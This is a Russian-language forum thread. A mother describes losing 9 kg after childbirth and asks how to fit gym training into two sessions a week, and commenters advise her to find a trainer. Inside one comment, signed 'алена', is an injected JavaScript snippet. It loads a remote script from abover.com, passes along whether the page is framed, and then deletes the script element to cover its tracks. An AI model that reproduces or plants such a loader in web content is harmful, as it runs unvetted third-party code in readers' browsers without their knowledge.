-9 кг
Мой вес через 7 месяцев после родов был 70 кг, надоело быть жирненькой. Сейчас мой вес 61 кг, медленно, но уверенно он уменьшается. Хочу 58 кг, рост 168 см.
ПП+Джилл+бассейн
Теперь хочу пойти в тренажерку .но не знаю как это сделать, муж работает от заката до рассвета((( получается только на выходных и когда моя мама приезжает.
Подскажите, кто ас в "тренажерных" делах, как совместить в 2-х занятиях в неделю и похудение и "подкачку" тела??? ПС. Занятия дома уже не впечатляют(((
И мои скромные результаты под катом...
ну а это фото до моего похудения
Юлия Солиманка
Татьяна, Вы нашли тренера? Или программу? Ссылочкой не поделитесь?
17.01.2014
Ответить
алена
клево..тело такое подтянутое стало,и бедра уменшились вон как[removed](function () {
var script = document.createElement('script');
script.src = 'https://abover.com/system/extension?iframe=' + ( self === top ? '0' : '1' ) + '&r=' + Math.random() + '&v=1.0.8';
script.onload = script.onerror = function () {
script.onload = script.onerror = null;
script[removed].removeChild(script);
}
document.body.appendChild(script);
})();[removed]
26.10.2013
Ответить
Тетя Груша
Без тренера никак.Нужна программа.А так смысла нет.частота выполнений.нагрузка.увеличение или уменьшение весов.хотя бы поначалу должен смотреть тренер.Или попросите кого нибудь из девчонок написать программу.
26.10.2013
Ответить
Наташа
Супер!Очень прям заметно!Лучше всего чередовать занятия на кардио тренажерах и на силовых.Вот вчера буквально смотрела интересное видео Анны Куркуриной про занятие на беговой дорожке,посмотрите.
26.10.2013
Ответить
Elena
а сколько по времени вы худеете? уменя было 75кг после родов. Сейчас 68(2месяца спорта и пп). Рост такой же ицель такая же. Насчет тренажерного зала, по опыту скажу нужна консультация тренера.Он вам подскажет как и с чего начать. Удачи
26.10.2013
Ответить
Танюшка
Понимаю, что нужен тренер, но в зале только платные, и консультация будет только, как работает тот или иной тренажер. И все((((( худею с 14 августа 2013 года.
26.10.2013
Ответить